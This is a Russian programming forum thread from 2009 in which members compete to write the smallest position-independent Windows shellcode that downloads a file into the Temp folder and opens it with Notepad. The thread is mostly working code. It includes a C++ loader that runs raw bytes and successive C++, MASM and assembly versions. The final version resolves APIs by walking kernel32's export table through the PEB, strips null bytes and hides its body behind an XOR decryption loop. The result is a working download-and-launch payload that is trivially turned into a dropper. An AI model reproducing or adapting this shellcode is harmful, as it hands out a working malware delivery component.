Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Пишем компактный шелл-код

3
04 августа 2009 года
Green
4.8K / / 20.01.2000
Копался на днях в щелл-кодах и пришла в голову идея: мы тут часто оптимизировали по скорости, а теперь предлагаю соревноваться в оптимизации по размеру. Ну и чтоб усложнить задачу и сделать более чистым эксперимент, будем писать не EXE, а шелл-код.

Обычно шелл-коды загружают что-то на машину и запускают ЭТО.
Давайте мы будем не запускать, а открывать в блокноте.

Т.о. условие предлагаю такое:
Код должен загружать файл из интернета в директорию %Temp% и открывать его в блокноте (notepad.exe).

Коректность завершения программы желательна, но не обязательна, главное, чтоб появился блокнот с содержимым файла.

Добиваемся самого компактного кода.
Писать можно на чем угодно.
Т.к. это шелл-код, то естественно, он должен быть независимым от своего местоположения в памяти. Соотв-но, ниже привожу фреймворк для запуска шелл-кодов, который и будем использовать для проверки работоспособности:
Код:
#include <windows.h>
#include <iostream>
using namespace std;


int main(int argc, char* argv[])
{
    if(argc < 2) {
        cerr << "Usage: " << argv[0] <<" <shell_code_file>" << endl;
        return -1;
    }

    HANDLE file  = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    if(INVALID_HANDLE_VALUE == file) {
        cerr << "ERROR: Can't open " << argv[1] << endl;
        return -1;
    }

    DWORD size = GetFileSize(file, NULL);
    PBYTE buff = new BYTE[size+1];

    DWORD bytes;
    if(ReadFile(file, buff, size, &bytes, NULL) == FALSE) {
        cerr << "ERROR while reading file " << argv[1] << endl;
        return -1;
    }
   
    cout << "Let's do it!" << endl;
    buff[bytes] = 0xC3;
    ((void(*)())buff)();

    return 0;
}


P.S. Хм... интересно, будут желающие попробовать свои силы?
87
04 августа 2009 года
Kogrom
2.7K / / 02.02.2008
А можно небольшой ликбез? Понятно, что есть Гугл и всё такое. Однако поиск даёт в основном то, что эти коды используются как вирусы. Могу, предположить, что его можно использовать, как добавку к какому-нибудь инсталлятору (типа, плагин). Но это мало вдохновляет. Может есть еще какие-нибудь назначения?

Так же неплохо было бы ознакомиться с каким-нибудь примером решения это задачи неэффективным, но наиболее понятным образом. Чтобы какой-то образец был.
3
04 августа 2009 года
Green
4.8K / / 20.01.2000
Цитата: Kogrom

А можно небольшой ликбез? Понятно, что есть Гугл и всё такое. Однако поиск даёт в основном то, что эти коды используются как вирусы. Могу, предположить, что его можно использовать, как добавку к какому-нибудь инсталлятору (типа, плагин). Но это мало вдохновляет. Может есть еще какие-нибудь назначения?


Ну в общем то, основное применение - как часть эксплоита. Эксплоит - это не вирус, это способ его внедрения. :)
http://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%B4_%D0%BE%D0%B1%D0%BE%D0%BB%D0%BE%D1%87%D0%BA%D0%B8

Но можно придумать и др. назначения. Основная особенность - малый размер и автономность (в смысле, куда бросят, там и заработает).

Цитата: Kogrom

Так же неплохо было бы ознакомиться с каким-нибудь примером решения это задачи неэффективным, но наиболее понятным образом. Чтобы какой-то образец был.


Вот постепенно и узнаем, если будут желающие потренироваться.
Предполагаю, что код поставленной задачи может быть меньше полукилобайта.

Для начала, можешь просто попробовать решить задачу по загрузке файла и открытии его в блокноте.
Потом, можно попробовать сделать код автономным.
А потом и оптимизацией заняться на низком уровне.

1
05 августа 2009 года
kot_
7.3K / / 20.01.2000
Цитата: Green

P.S. Хм... интересно, будут желающие попробовать свои силы?


ну от чего же - можно и попробовать.
Только уточнение - написать самый компактный код работающий в большинстве случаев? Или работающий при открытом периметре безопасности - т.е. не заморачиваемся на фаерволы, прокси и пр.?

14
05 августа 2009 года
Phodopus
3.3K / / 19.06.2008
Стоит всеж написать что ОС ограничиваем виндой. Но тут тоже вопрос - какой версии?
6
05 августа 2009 года
George
4.1K / / 05.01.2007
видимо хрюндель как самая распространенная. =) ну я так предполагаю...
1
05 августа 2009 года
kot_
7.3K / / 20.01.2000
2_lobster_
вроде тема не называется "Как выглядет шелкод"? Или я чего не прочел?
Phodopus
Ну чего только вындус? :) если человек сумеет в "Блокноте" открыть файл во фри - че ему пропадать чтоли? :)
Я думаю что если у автора есть возможность проверить на нескольких системах - то это стоит указать. В противном случае при выкладывании результата стоит указывать ОС, установленный сервис-пак, билд, и статус последних обновлений типа чтото этого "с установленными критическими обновлениями по 2009/07/16" например.
14
05 августа 2009 года
Phodopus
3.3K / / 19.06.2008
Цитата: kot_
стоит указывать ОС, установленный сервис-пак, билд, и статус последних обновлений типа чтото этого "с установленными критическими обновлениями по 2009/07/16" например.


Ога :) Ну так оно как-то лучше. Я если че еще и пример ентого экзешника хотел, но думаю можно и без ориентаций на кодогенератор пробовать.

3
05 августа 2009 года
Green
4.8K / / 20.01.2000
Ок, замечания принимаются.
Пусть будет Windows XP SP3, детальнее, наверное, не надо, мы же не сплойт пишем.
Кстати, ещё дополнение: не привязываемся к адресам функций в стандартных DLL.

Что касается FW и прокси... тут уж на любителя :)
Давайте начнем от простого - без FW и прокси.
А можно заложить и стандартные настройки IE.

P.S. _lobster_, подсказывать нехорошо :)
Хотя, конечно можно пользоваться любыми источниками. Мы же не ради победы, а знаний и опыта для...
Так что простое копирование кода никому не интересно.
2
05 августа 2009 года
squirL
5.6K / / 13.08.2003
угу. а как насчет привилегий? шеллкод должен работать из под ограниченной учетки? или мы будем расчитывать на массу хомячков, сидящих под админом? :)
535
07 августа 2009 года
Нездешний
537 / / 17.01.2008
Что ж, пока никто из людей, умеющих писать шеллкоды, не спешит :)

Тогда попробую я. Т.к. ни разу такие штуки не писал, последую плану Green'a[QUOTE="Green"]Для начала, можешь просто попробовать решить задачу по загрузке файла и открытии его в блокноте.
Потом, можно попробовать сделать код автономным.
А потом и оптимизацией заняться на низком уровне.[/QUOTE]

Итак, просто загрузка файла и открытие в блокноте
Код:
#include <windows.h>
#include <iostream>

using namespace std;

int main()
{
    cout << "Download file from codenet.ru" << endl;

    HINSTANCE hiLib = LoadLibrary("urlmon.dll");
    if (!hiLib)
    {
        cout << "LoadLibrary failed" << endl;
        return -1;
    }

    typedef int* LPBINDSTATUSCALLBACK;
    typedef  HRESULT (__stdcall *MYPROC)(LPUNKNOWN, LPCSTR, LPCSTR, DWORD, LPBINDSTATUSCALLBACK);
    MYPROC pURLDownloadToFileA = (MYPROC) GetProcAddress(hiLib, "URLDownloadToFileA");
    if (!pURLDownloadToFileA)
    {
        cout << "GetProcAddress failed" << endl;
           FreeLibrary(hiLib);
        return -1;
    }

    cout << "Downloading started..." << endl;

    (*pURLDownloadToFileA)(NULL, "http://forum.codenet.ru/showthread.php?t=56040", "C:\\yes.htm", 0, NULL);

    FreeLibrary(hiLib);
    cout << "Complited successfully" << endl;

    return 0;
}
535
07 августа 2009 года
Нездешний
537 / / 17.01.2008
Далее переведем все это в асм
MASM32 v10
Код:
.386
.model flat, stdcall
option casemap: none

include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc

includelib \masm32\lib\masm32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib

.data
    szLib db "urlmon.dll",0
    szURLDownloadToFileA db "URLDownloadToFileA",0
    szURL db "http://forum.codenet.ru/showthread.php?t=56040"
    szFileName db "downloaded.htm",0
    szComplited db "Complited successfully",0

    hiLib HINSTANCE NULL
    URLDownloadToFileA dd 0

    szCmdLine db "notepad "
    szPath db 128 dup (0)
   
.code
start:
    invoke LoadLibrary, addr szLib
    mov hiLib, eax

    invoke GetProcAddress, hiLib, addr szURLDownloadToFileA
    mov URLDownloadToFileA, eax
   
    invoke GetTempPathA, 128, addr szPath
    add eax, offset szPath
    mov ecx, 15
    mov esi, offset szFileName
    mov edi, eax
    rep movsb
   
    push NULL
    push 0
    push offset szPath
    push offset szURL
    push NULL
    call URLDownloadToFileA

    invoke WinExec, addr szCmdLine, SW_SHOW
    invoke FreeLibrary, hiLib
    invoke ExitProcess, 0
end start
535
07 августа 2009 года
Нездешний
537 / / 17.01.2008
Теперь попробуем сделать независимым. Для этого надо учитывать смещения при обращении к переменным, найти базовый адрес kernel32.dll и адреса необходимых API, что-то сделать с нулевыми байтами

Итак, смещение, базовый адрес kernel32 и адреса API (но пока с нулевыми байтами)
Код:
.386
.model flat, stdcall
option casemap: none
option m510

.data
    _LoadLibraryA dd 0
    _GetProcAddress dd 0
    _GetTempPathA dd 0
    _WinExec dd 0
    _URLDownloadToFileA dd 0
   
    szApiFuncNameArray db "LoadLibraryA",0
    db "GetProcAddress",0
    db "GetTempPathA",0
    db "WinExec",0
    db 0BBh ; конец массива

    APIAdr dd 0
    APIfunct dd 0

    Counter dd 0
    kernel dd 0
    AddressTableVA dd 0
    OrdinalTableVA dd 0

    szLib db "urlmon.dll",0
    szURLDownloadToFileA db "URLDownloadToFileA",0
    szURL db "http://forum.codenet.ru/showthread.php?t=56040"
    szFileName db "downloaded.htm",0

    szCmdLine db "notepad "
    szPath db 128 dup (0)    

.code
start:
    pushad
    pushfd

    ; определим текущий адрес
    call delta
  delta:
    pop ebp
    sub ebp, offset delta
    ;sub ebp, 2 ; pushad - 1 byte, pushfd - 1 byte

    ; получим базовый адрес kernel32.dll в NT
    xor eax, eax
    assume fs: flat
    mov eax, dword ptr fs: [30h]
    mov eax, [eax + 0Ch]
    mov esi, [eax + 1Ch]
    lodsd
    mov eax, [eax + 08h]

    ; инициализация переменных
    mov [kernel + ebp], eax
    mov [APIAdr + ebp], offset _LoadLibraryA
    mov [APIfunct + ebp], offset szApiFuncNameArray

    ; получим адреса некоторых функций API
    push esi
    push edi
    mov esi, APIfunct
    add esi, ebp
    mov edi, APIAdr
    add edi, ebp
    call GetAPIs
    pop edi
    pop esi

    ; получим расположение папки Temp
    mov ebx, offset szPath
    add ebx, ebp
    push ebx
    push 128 ; размер буфера
    call dword ptr [_GetTempPathA + ebp]

    ; сформируем полное имя сохраняемого файла
    add eax, offset szPath
    add eax, ebp
    mov ecx, 15 ; длина строки "downloaded.htm",0
    mov esi, offset szFileName
    add esi, ebp
    mov edi, eax
    add edi, ebp
    rep movsb    

    ; загрузим urlmon.dll и получим адрес функции URLDownloadToFileA
    mov eax, offset szLib
    add eax, ebp
    push eax
    call dword ptr [_LoadLibraryA + ebp]

    mov ebx, offset szURLDownloadToFileA
    add ebx, ebp
    push ebx
    push eax
    call dword ptr [_GetProcAddress + ebp]

    ; загрузим файл из инета
    push 0
    push 0
    mov ebx, offset szPath
    add ebx, ebp
    push ebx
    mov ebx, offset szURL
    add ebx, ebp
    push ebx
    push 0
    call eax

    ; запустим блокнот с файлом
    push 5 ; SW_SHOW
    mov ebx, offset szCmdLine
    add ebx, ebp
    push ebx
    call dword ptr [_WinExec + ebp]

    ; восстановим регистры и выйдем
    popfd
    popad
    ret

; следующие две функции стянуты из туториала Billy Belcebu
GetAPI         proc
 ; НА ВХОДЕ  . ESI : Указатель на имя функции (чувствительна к регистру)    ;
 ; НА ВЫХОДЕ . EAX : Адрес функции API

        mov     edx,esi                         ; Сохраняем указатель на имя
 @_1:   cmp     byte ptr [esi],0                ; Конец строки?
        jz      @_2                             ; Да, все в порядке.
        inc     esi                             ; Нет, продолжаем поиск
        jmp     @_1
 @_2:   inc     esi                             ; хех, не забудьте об этом
        sub     esi,edx                         ; ESI = размер имени функции
        mov     ecx,esi                         ; ECX = ESI :)

        xor     eax,eax                         ; EAX = 0
        mov     word ptr [ebp+Counter],ax       ; Устанавливаем счетчик в 0

        mov     esi,[ebp+kernel]                ; Получаем смещение
                                                ; PE-заголовка KERNEL32
        add     esi,3Ch
        lodsw                                   ; в AX
        add     eax,[ebp+kernel]                ; Нормализуем его

        mov     esi,[eax+78h]                   ; Получаем RVA таблицы
                                                ; экспортов
        add     esi,[ebp+kernel]                ; Указатель на RVA таблицы
                                                ; адресов
        add     esi,1Ch

        lodsd                                   ; EAX = RVA таблицы адресов
        add     eax,[ebp+kernel]                ; Нормализуем
        mov     dword ptr [ebp+AddressTableVA],eax ; Сохраняем его в форме VA

        lodsd                                   ; EAX = Name Ptrz Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        push    eax                             ; mov [ebp+NameTableVA],eax

        lodsd                                   ; EAX = Ordinal Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        mov     dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form

        pop     esi                             ; ESI = Name Ptrz Table VA

 @_3:   push    esi                             ; Save ESI for l8r restore
        lodsd                                   ; Get value ptr ESI in EAX
        add     eax,[ebp+kernel]                ; Normalize
        mov     esi,eax                         ; ESI = VA of API name
        mov     edi,edx                         ; EDI = ptr to wanted API
        push    ecx                             ; ECX = API size
        cld                                     ; Clear direction flag
        rep     cmpsb                           ; Compare both API names
        pop     ecx                             ; Restore ECX
        jz      @_4                             ; Jump if APIs are 100% equal
        pop     esi                             ; Restore ESI
        add     esi,4                           ; And get next value of array
        inc     word ptr [ebp+Counter]          ; Increase counter
        jmp     @_3                             ; Loop again

 @_4:   pop     esi                             ; Avoid shit in stack
        movzx   eax,word ptr [ebp+Counter]      ; Get in AX the counter
        shl     eax,1                           ; EAX = AX * 2
        add     eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
        xor     esi,esi                         ; Clear ESI
        xchg    eax,esi                         ; EAX = 0, ESI = ptr to Ord
        lodsw                                   ; Get Ordinal in AX
        shl     eax,2                           ; EAX = AX * 4
        add     eax,dword ptr [ebp+AddressTableVA] ; Normalize
        mov     esi,eax                         ; ESI = ptr to Address RVA
        lodsd                                   ; EAX = Address RVA
        add     eax,[ebp+kernel]                ; Normalize and all is done.
        ret

 GetAPI         endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-

 GetAPIs        proc
 ; INPUT  . ESI : Указатель на имя первой желаемой API-функции в формате    ;
 ;                ASCIIz                                                    ;
 ;        . EDI : Указатель на переменную, которая содержит первую желаемую ;
 ;                API-функцию                                               ;
 ; OUTPUT . Ничего                                                          ;
 ;                                                                          ;
 ; Для получения всех этих значений я буду использовать следующую структуру:;
 ;                                                                          ;
 ; ESI указывает на --. db         "FindFirstFileA",0                       ;
 ;                      db         "FindNextFileA",0                        ;
 ;                      db         "CloseHandle",0                          ;
 ;                      [...]                                               ;
 ;                      db         0BBh ; Отмечает конец массива            ;
 ;                                                                          ;
 ; EDI указывает на --. dd         00000000h ; Будущий адрес FFFA           ;
 ;                      dd         00000000h ; Будущий адрес FNFA           ;
 ;                      dd         00000000h ; Будущий адрес CH             ;
 ;                      [...]                                               ;

 @@1:   push    esi
        push    edi
        call    GetAPI
        pop     edi
        pop     esi
        stosd

 @@2:   cmp     byte ptr [esi],0
        jz      @@3
        inc     esi
        jmp     @@2
 @@3:   cmp     byte ptr [esi+1],0BBh
        jz      @@4
        inc     esi
        jmp     @@1
 @@4:   ret
 GetAPIs        endp

end start
1
07 августа 2009 года
kot_
7.3K / / 20.01.2000
дык а шел-код то где? :)
535
11 августа 2009 года
Нездешний
537 / / 17.01.2008
Избавление от нулей заняло некоторое время :)
Исходник:
Код:
.386
.model flat, stdcall
option casemap: none
option m510
assume fs: nothing

.code
start:
    pushad
    pushfd

    ; определим текущий адрес
    jmp short delta1
  delta2:
    pop ebp
    jmp short delta3
  delta1:
    call delta2
  delta3:

    ; расшифровка
    xor ecx, ecx
  decrypt_loop:
    xor byte ptr [ebp + ecx + 0Fh], 90h
    inc ecx
    cmp cx, 599 ; кол-во байт для расшифровки
    jne decrypt_loop
   
start_decrypt:
    ; delta-смещение
    sub ebp, offset delta2
    sub ebp, 8
   
    ; получим базовый адрес kernel32.dll в NT
    xor eax, eax
    mov eax, dword ptr fs: [30h]
    mov eax, [eax + 0Ch]
    mov esi, [eax + 1Ch]
    lodsd
    mov eax, [eax + 08h]

    ; инициализация переменных
    mov [kernel + ebp], eax

    ; получим адреса некоторых функций API
    push esi
    push edi
    lea esi, [ebp + APIfunct]
    lea edi, [ebp + APIAdr]
    call GetAPIs
    pop edi
    pop esi

    ; получим расположение папки Temp
    mov ebx, offset szPath
    add ebx, ebp
    push ebx
    push 128 ; размер буфера
    call dword ptr [_GetTempPathA + ebp]

    ; сформируем полное имя сохраняемого файла
    mov ecx, 15 ; длина строки "downloaded.htm",0
    mov esi, offset szFileName
    add esi, ebp
    mov edi, offset szPath
    add edi, ebp
    add edi, eax
    rep movsb    

    ; загрузим urlmon.dll и получим адрес функции URLDownloadToFileA
    mov eax, offset szLib
    add eax, ebp
    push eax
    call dword ptr [_LoadLibraryA + ebp]

    mov ebx, offset szURLDownloadToFileA
    add ebx, ebp
    push ebx
    push eax
    call dword ptr [_GetProcAddress + ebp]

    ; загрузим файл из инета
    push 0
    push 0
    mov ebx, offset szPath
    add ebx, ebp
    push ebx
    mov ebx, offset szURL
    add ebx, ebp
    push ebx
    push 0
    call eax

    ; запустим блокнот с файлом
    push 5 ; SW_SHOW
    mov ebx, offset szCmdLine
    add ebx, ebp
    push ebx
    call dword ptr [_WinExec + ebp]

    ; восстановим регистры и выйдем
    popfd
    popad
    ret

; data
  APIAdr:
    _LoadLibraryA dd 0
    _GetProcAddress dd 0
    _GetTempPathA dd 0
    _WinExec dd 0
    _URLDownloadToFileA dd 0
   
  APIfunct:
    db "LoadLibraryA",0
    db "GetProcAddress",0
    db "GetTempPathA",0
    db "WinExec",0
    db 0BBh ; конец массива

    Counter dd 0
    kernel dd 0
    AddressTableVA dd 0
    OrdinalTableVA dd 0

    szLib db "urlmon.dll",0
    szURLDownloadToFileA db "URLDownloadToFileA",0
    szURL db "http://forum.codenet.ru/showthread.php?t=56040"
    szFileName db "downloaded.htm",0

    szCmdLine db "notepad "
    szPath db ? ;128 dup (0)    

; следующие две функции стянуты из туториала Billy Belcebu
GetAPI         proc
 ; НА ВХОДЕ  . ESI : Указатель на имя функции (чувствительна к регистру)    ;
 ; НА ВЫХОДЕ . EAX : Адрес функции API

        mov     edx,esi                         ; Сохраняем указатель на имя
 @_1:   cmp     byte ptr [esi],0                ; Конец строки?
        jz      @_2                             ; Да, все в порядке.
        inc     esi                             ; Нет, продолжаем поиск
        jmp     @_1
 @_2:   inc     esi                             ; хех, не забудьте об этом
        sub     esi,edx                         ; ESI = размер имени функции
        mov     ecx,esi                         ; ECX = ESI :)

        xor     eax,eax                         ; EAX = 0
        mov     word ptr [ebp+Counter],ax       ; Устанавливаем счетчик в 0

        mov     esi,[ebp+kernel]                ; Получаем смещение
                                                ; PE-заголовка KERNEL32
        add     esi,3Ch
        lodsw                                   ; в AX
        add     eax,[ebp+kernel]                ; Нормализуем его

        mov     esi,[eax+78h]                   ; Получаем RVA таблицы
                                                ; экспортов
        add     esi,[ebp+kernel]                ; Указатель на RVA таблицы
                                                ; адресов
        add     esi,1Ch

        lodsd                                   ; EAX = RVA таблицы адресов
        add     eax,[ebp+kernel]                ; Нормализуем
        mov     dword ptr [ebp+AddressTableVA],eax ; Сохраняем его в форме VA

        lodsd                                   ; EAX = Name Ptrz Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        push    eax                             ; mov [ebp+NameTableVA],eax

        lodsd                                   ; EAX = Ordinal Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        mov     dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form

        pop     esi                             ; ESI = Name Ptrz Table VA

 @_3:   push    esi                             ; Save ESI for l8r restore
        lodsd                                   ; Get value ptr ESI in EAX
        add     eax,[ebp+kernel]                ; Normalize
        mov     esi,eax                         ; ESI = VA of API name
        mov     edi,edx                         ; EDI = ptr to wanted API
        push    ecx                             ; ECX = API size
        cld                                     ; Clear direction flag
        rep     cmpsb                           ; Compare both API names
        pop     ecx                             ; Restore ECX
        jz      @_4                             ; Jump if APIs are 100% equal
        pop     esi                             ; Restore ESI
        add     esi,4                           ; And get next value of array
        inc     word ptr [ebp+Counter]          ; Increase counter
        jmp     @_3                             ; Loop again

 @_4:   pop     esi                             ; Avoid shit in stack
        movzx   eax,word ptr [ebp+Counter]      ; Get in AX the counter
        shl     eax,1                           ; EAX = AX * 2
        add     eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
        xor     esi,esi                         ; Clear ESI
        xchg    eax,esi                         ; EAX = 0, ESI = ptr to Ord
        lodsw                                   ; Get Ordinal in AX
        shl     eax,2                           ; EAX = AX * 4
        add     eax,dword ptr [ebp+AddressTableVA] ; Normalize
        mov     esi,eax                         ; ESI = ptr to Address RVA
        lodsd                                   ; EAX = Address RVA
        add     eax,[ebp+kernel]                ; Normalize and all is done.
        ret

 GetAPI         endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-

 GetAPIs        proc
 ; INPUT  . ESI : Указатель на имя первой желаемой API-функции в формате    ;
 ;                ASCIIz                                                    ;
 ;        . EDI : Указатель на переменную, которая содержит первую желаемую ;
 ;                API-функцию                                               ;
 ; OUTPUT . Ничего                                                          ;
 ;                                                                          ;
 ; Для получения всех этих значений я буду использовать следующую структуру:;
 ;                                                                          ;
 ; ESI указывает на --. db         "FindFirstFileA",0                       ;
 ;                      db         "FindNextFileA",0                        ;
 ;                      db         "CloseHandle",0                          ;
 ;                      [...]                                               ;
 ;                      db         0BBh ; Отмечает конец массива            ;
 ;                                                                          ;
 ; EDI указывает на --. dd         00000000h ; Будущий адрес FFFA           ;
 ;                      dd         00000000h ; Будущий адрес FNFA           ;
 ;                      dd         00000000h ; Будущий адрес CH             ;
 ;                      [...]                                               ;

 @@1:   push    esi
        push    edi
        call    GetAPI
        pop     edi
        pop     esi
        stosd

 @@2:   cmp     byte ptr [esi],0
        jz      @@3
        inc     esi
        jmp     @@2
 @@3:   cmp     byte ptr [esi+1],0BBh
        jz      @@4
        inc     esi
        jmp     @@1
 @@4:   ret
 GetAPIs        endp

end start

Шелл-код (626 байт и еще есть что оптимизировать) тестировался на WinXP SP3
Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог